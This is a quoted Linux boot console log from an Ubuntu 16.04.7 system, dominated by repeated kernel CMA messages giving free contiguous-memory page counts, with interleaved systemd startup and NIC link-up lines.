> [ 7.335316] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@1
> [ 7.335349] cma:
> [ 7.335350] => 1613 free of 8192 total pages
> [ 7.335450] cma: number of available pages:
> [ 7.335451] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@1
> [ 7.335484] cma:
> [ 7.335485] => 1613 free of 8192 total pages
> [ 7.336508] cma: number of available pages:
> [ 7.336508] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@1
> [ 7.336545] cma:
> [ 7.336545] => 1613 free of 8192 total pages
> [ 7.336615] cma: number of available pages:
> [ 7.336616] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@1
> [ 7.336649] cma:
> [ 7.336649] => 1613 free of 8192 total pages
> [ 7.336670] cma: number of available pages:
> [ 7.336670] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@1
> [ 7.336703] cma:
> [ 7.336704] => 1613 free of 8192 total pages
> [ 7.336806] cma: number of available pages:
> [ 7.336807] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@1
> [ 7.336841] cma:
> [ 7.336841] => 1613 free of 8192 total pages
> [ 7.337864] cma: number of available pages:
> [ 7.337864] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@1
> [ 7.337898] cma:
> [ 7.337898] => 1613 free of 8192 total pages
> [ 7.337969] cma: number of available pages:
> [ 7.337969] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@1
> [ 7.338002] cma:
> [ 7.338003] => 1613 free of 8192 total pages
> [ 7.338022] cma: number of available pages:
> [ 7.338023] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@1
> [ 7.338056] cma:
> [ 7.338057] => 1613 free of 8192 total pages
> [ 7.338158] cma: number of available pages:
> [ 7.338159] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@1
> [ 7.338193] cma:
> [ 7.338193] => 1613 free of 8192 total pages
> [ 7.355683] cma: number of available pages:
> [ 7.355684] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@1
> [ 7.355719] cma:
> [ 7.355720] => 1577 free of 8192 total pages
> [ 7.356761] cma: number of available pages:
> [ 7.356761] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@1
> [ 7.356796] cma:
> [ 7.356797] => 1577 free of 8192 total pages
> [ 7.357839] cma: number of available pages:
> [ 7.357840] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@1
> [ 7.357875] cma:
> [ 7.357876] => 1577 free of 8192 total pages
> [ 7.358922] cma: number of available pages:
> [ 7.358923] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@1
> [ 7.358958] cma:
> [ 7.358959] => 1577 free of 8192 total pages
> [ 7.360002] cma: number of available pages:
>
> [ 7.360003] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@1
> [ 7.360038] cma:
> Welcome to Ubuntu 16.04.7 LTS[ 7.360038] => 1577 free of 8192 total pages
> ![ 7.361080] cma: number of available pages:
>
> [ 7.361081] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@1
> [ 7.361116] cma:
> [ 7.361116] => 1577 free of 8192 total pages
>
> [ 7.362161] cma: number of available pages:
> [ 7.362162] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@1
> [ 7.362197] cma:
> [ 7.362197] => 1577 free of 8192 total pages
> [ 7.363240] cma: number of available pages:
> [ 7.363241] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@1
> [ 7.363276] cma:
> [ 7.363277] => 1577 free of 8192 total pages
> [ 7.389545] sdp1-0 NIC Link is UP
> [ 7.406483] cma: number of available pages:
> [ 7.406484] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@1
> [ 7.406520] cma:
> [ 7.406521] => 1571 free of 8192 total pages
> [ 7.406589] cma: number of available pages:
> [ 7.406589] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@1
> [ 7.406625] cma:
> [ 7.406626] => 1571 free of 8192 total pages
> [ 7.406644] cma: number of available pages:
> [ 7.406645] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@1
> [ 7.406681] cma:
> [ 7.406681] => 1571 free of 8192 total pages
> [ 7.406779] cma: number of available pages:
> [ 7.406780] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@1
> [ 7.406817] cma:
> [ 7.406817] => 1571 free of 8192 total pages
> [ OK ] Listening on [ 7.407839] cma: number of available pages:
> [ 7.407840] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@1
> /dev/initctl Compatibility Named[ 7.407876] cma:
> Pipe.
> [ 7.407876] => 1571 free of 8192 total pages
> [ 7.407944] cma: number of available pages:
> [ 7.407945] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@1
> [ 7.407981] cma:
> [ 7.407981] => 1571 free of 8192 total pages
> [ 7.408001] cma: number of available pages:
> [ OK ] Started Dispa[ 7.408001] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+31
> tch Password Requests to Console[ 7.408037] cma:
> Directory Watch.
> [ 7.408038] => 1571 free of 8192 total pages
> [ 7.408140] cma: number of available pages:
> [ 7.408141] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@1
> [ 7.408185] cma:
> [ 7.408185] => 1571 free of 8192 total pages
> [ OK ] Created slice[ 7.409208] cma: number of available pages:
> System Slice.
> [ 7.409209] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@1
> [ 7.409246] cma:
> [ 7.409247] => 1571 free of 8192 total pages
> [ 7.409316] cma: number of available pages:
> [ 7.409317] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@1
> [ OK ] Created slice[ 7.409353] cma:
> system-serial\x2dgetty.slice.[ 7.409353] => 1571 free of 8192 total pages
>
> [ 7.409373] cma: number of available pages:
> [ 7.409374] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@1
> [ 7.409410] cma:
> [ 7.409411] => 1571 free of 8192 total pages
> [ OK ] Reached targe[ 7.409511] cma: number of available pages:
> t Encrypted Volumes.
> [ 7.409512] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@1
> [ 7.409549] cma:
> [ 7.409549] => 1571 free of 8192 total pages
> [ 7.410573] cma: number of available pages:
> [ 7.410573] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@1
> [ OK ] Listening on [ 7.410609] cma:
> Journal Socket (/dev/log).
> [ 7.410610] => 1571 free of 8192 total pages
> [ 7.410678] cma: number of available pages:
> [ 7.410678] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@1
> [ OK ] Reached targe[ 7.410714] cma:
> t Remote File Systems (Pre).[ 7.410715] => 1571 free of 8192 total pages
>
> [ 7.410734] cma: number of available pages:
> [ 7.410735] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@1
> [ 7.410771] cma:
> [ 7.410771] => 1571 free of 8192 total pages
> [ OK ] Reached targe[ 7.410872] cma: number of available pages:
> t Remote File Systems.[ 7.410873] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+31
>
> [ 7.410909] cma:
> [ 7.410910] => 1571 free of 8192 total pages
> [ 7.432648] cma: number of available pages:
> [ 7.432649] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@1
> [ OK ] Reached targe[ 7.432688] cma:
> t Swap.[ 7.432688] => 1535 free of 8192 total pages
>
> [ 7.433730] cma: number of available pages:
> [ 7.433730] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@1
> [ 7.433768] cma:
> [ 7.433769] => 1535 free of 8192 total pages
> [ 7.434814] cma: number of available pages:
> [ OK ] Started Forwa[ 7.434814] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+31
> rd Password Requests to Wall Dir[ 7.434852] cma:
> ectory Watch.
> [ 7.434853] => 1535 free of 8192 total pages
> [ 7.435896] cma: number of available pages:
> [ 7.435896] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@1
> [ 7.435934] cma:
> [ 7.435935] => 1535 free of 8192 total pages
> [ OK ] Created slice[ 7.436978] cma: number of available pages:
> User and Session Slice.
> [ 7.436979] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@1
> [ 7.437017] cma:
> [ 7.437018] => 1535 free of 8192 total pages
> [ 7.438060] cma: number of available pages:
> [ OK ] Listening on [ 7.438061] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+31
> Journal Socket.
> [ 7.438099] cma:
> [ 7.438100] => 1535 free of 8192 total pages
> [ 7.439143] cma: number of available pages:
> [ 7.439143] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@1
> [ 7.439181] cma:
> [ 7.439182] => 1535 free of 8192 total pages
> [ 7.440224] cma: number of available pages:
> [ 7.440225] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@1
> [ 7.440263] cma:
> [ 7.440264] => 1535 free of 8192 total pages
> [ 7.466533] sdp1-1 NIC Link is UP
> [ 7.529590] cma: number of available pages:
> [ 7.529591] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@1
> [ 7.529630] cma:
> Starting LSB: QEMU KVM m[ 7.529631] => 1529 free of 8192 total pages
> odule loading script...[ 7.529696] cma: number of available pages:
>
> [ 7.529697] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@1
> [ 7.529736] cma:
> [ 7.529736] => 1529 free of 8192 total pages
> [ 7.529755] cma: number of available pages:
> [ 7.529755] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@1
> Starting Remount Root an[ 7.529795] cma:
> d Kernel File Systems...[ 7.529795] => 1529 free of 8192 total pages
>
> [ 7.529908] cma: number of available pages:
> [ 7.529909] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@1
> [ 7.529949] cma:
> [ 7.529950] => 1529 free of 8192 total pages
> [ 7.534979] cma: number of available pages:
> [ 7.534979] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@1
> [ 7.535018] cma:
> [ 7.535019] => 1529 free of 8192 total pages
> Mounting Debug File Syst[ 7.535087] cma: number of available pages:
> em...[ 7.535087] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@301
>
> [ 7.535127] cma:
> [ 7.535127] => 1529 free of 8192 total pages
> [ 7.535147] cma: number of available pages:
> [ 7.535148] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@1
> [ 7.535187] cma:
> Starting Load Kernel Mod[ 7.535187] => 1529 free of 8192 total pages
> ules...[ 7.535289] cma: number of available pages:
>
> [ 7.535290] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@1
> [ 7.535329] cma:
> [ 7.535330] => 1529 free of 8192 total pages
> [ 7.540360] cma: number of available pages:
> [ 7.540361] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@1
> Starting Create Static D[ 7.540400] cma:
> evice Nodes in /dev...[ 7.540400] => 1529 free of 8192 total pages
>
> [ 7.540469] cma: number of available pages:
> [ 7.540469] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@1
> [ 7.540508] cma:
> [ 7.540509] => 1529 free of 8192 total pages
> [ 7.540529] cma: number of available pages:
> Mounting POSIX Message Q[ 7.540529] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@291
> ueue File System...[ 7.540569] cma:
>
> [ 7.540569] => 1529 free of 8192 total pages
> [ 7.540670] cma: number of available pages:
> [ 7.540671] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@1
> [ 7.540710] cma:
> [ 7.540711] => 1529 free of 8192 total pages
> Mounting Huge Pages File[ 7.544739] cma: number of available pages:
> System...[ 7.544739] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@30071
>
> [ 7.544778] cma:
> [ 7.544779] => 1529 free of 8192 total pages
> [ 7.544847] cma: number of available pages:
> [ 7.544848] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@1
> [ 7.544887] cma:
> [ OK ] Created slice[ 7.544887] => 1529 free of 8192 total pages
> system-getty.slice.
> [ 7.544907] cma: number of available pages:
> [ 7.544907] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@1
> [ 7.544946] cma:
> [ 7.544947] => 1529 free of 8192 total pages
> [ 7.545052] cma: number of available pages:
> [ 7.545053] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@1
> [ OK ] Reached targe[ 7.545092] cma:
> t Slices.
> [ 7.545092] => 1529 free of 8192 total pages
> [ 7.591758] cma: number of available pages:
> [ 7.591758] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@1
> [ 7.591800] cma:
> [ 7.591800] => 1493 free of 8192 total pages
> [ OK ] Reached targe[ 7.596850] cma: number of available pages:
> t Paths.[ 7.596851] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+31
>
> [ 7.596892] cma:
> [ 7.596892] => 1493 free of 8192 total pages
> [ 7.601945] cma: number of available pages:
> [ 7.601946] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@1
> [ 7.601995] cma:
> [ OK ] Listening on [ 7.601996] => 1493 free of 8192 total pages
> Journal Audit Socket.
> [ 7.607048] cma: number of available pages:
> [ 7.607049] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@1
> [ 7.607090] cma:
> [ 7.607090] => 1493 free of 8192 total pages
> [ 7.612143] cma: number of available pages:
> [ 7.612143] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@1
> [ 7.612184] cma:
> [ 7.612185] => 1493 free of 8192 total pages
> [ 7.617236] cma: number of available pages:
> [ 7.617237] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@1
> [ 7.617278] cma:
> [ 7.617278] => 1493 free of 8192 total pages
> [ 7.622330] cma: number of available pages:
> [ 7.622331] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@1
> [ 7.622372] cma:
> [ 7.622373] => 1493 free of 8192 total pages
> [ 7.627424] cma: number of available pages:
> [ 7.627425] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@1
> [ 7.627466] cma:
> [ 7.627466] => 1493 free of 8192 total pages
> [ 7.766937] sdp1-2 NIC Link is UP
> [ 7.789874] cma: number of available pages:
> [ 7.789875] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@1
> [ 7.789917] cma:
> Starting Journal Service[ 7.789918] => 1487 free of 8192 total pages
> ...[ 7.789989] cma: number of available pages:
>
> [ 7.789990] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@1
> [ 7.790032] cma:
> [ 7.790032] => 1487 free of 8192 total pages
> [ 7.790053] cma: number of available pages:
> [ 7.790054] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@1
> [ OK ] Mounted Huge [ 7.790095] cma:
> Pages File System.[ 7.790096] => 1487 free of 8192 total pages
>
> [ 7.790196] cma: number of available pages:
> [ 7.790197] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@1
> [ 7.790239] cma:
> [ 7.790240] => 1487 free of 8192 total pages
> [ OK ] Mounted POSIX[ 7.791262] cma: number of available pages:
> Message Queue File System.[ 7.791263] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@21
>
> [ 7.791305] cma:
> [ 7.791306] => 1487 free of 8192 total pages
> [ 7.791374] cma: number of available pages:
> [ 7.791374] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@1
> [ OK ] Mounted Debug[ 7.791416] cma:
> File System.[ 7.791416] => 1487 free of 8192 total pages
>
> [ 7.791436] cma: number of available pages:
> [ 7.791437] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@1
> [ 7.791491] cma:
> [ 7.791491] => 1487 free of 8192 total pages
> [ OK ] Started Journ[ 7.791594] cma: number of available pages:
> al Service.[ 7.791595] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3001
>
> [ 7.791637] cma:
> [ 7.791638] => 1487 free of 8192 total pages
> [ 7.792659] cma: number of available pages:
> [ 7.792660] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@1
> [ OK ] Started Remou[ 7.792702] cma:
> nt Root and Kernel File Systems.[ 7.792702] => 1487 free of 8192 total pages
>
> [ 7.792770] cma: number of available pages:
> [ 7.792770] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@1
> [ 7.792812] cma:
> [ 7.792813] => 1487 free of 8192 total pages
> [ OK ] Started Load [ 7.792833] cma: number of available pages:
> Kernel Modules.[ 7.792833] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+11
>
> [ 7.792875] cma:
> [ 7.792876] => 1487 free of 8192 total pages
> [ 7.792977] cma: number of available pages:
> [ 7.792978] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@1
> [ 7.793020] cma:
> [ OK ] Started Creat[ 7.793021] => 1487 free of 8192 total pages
> e Static Device Nodes in /dev.
> [ 7.794042] cma: number of available pages:
> [ 7.794042] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@1
> [ 7.794084] cma:
> [ 7.794085] => 1487 free of 8192 total pages
> [ 7.794153] cma: number of available pages:
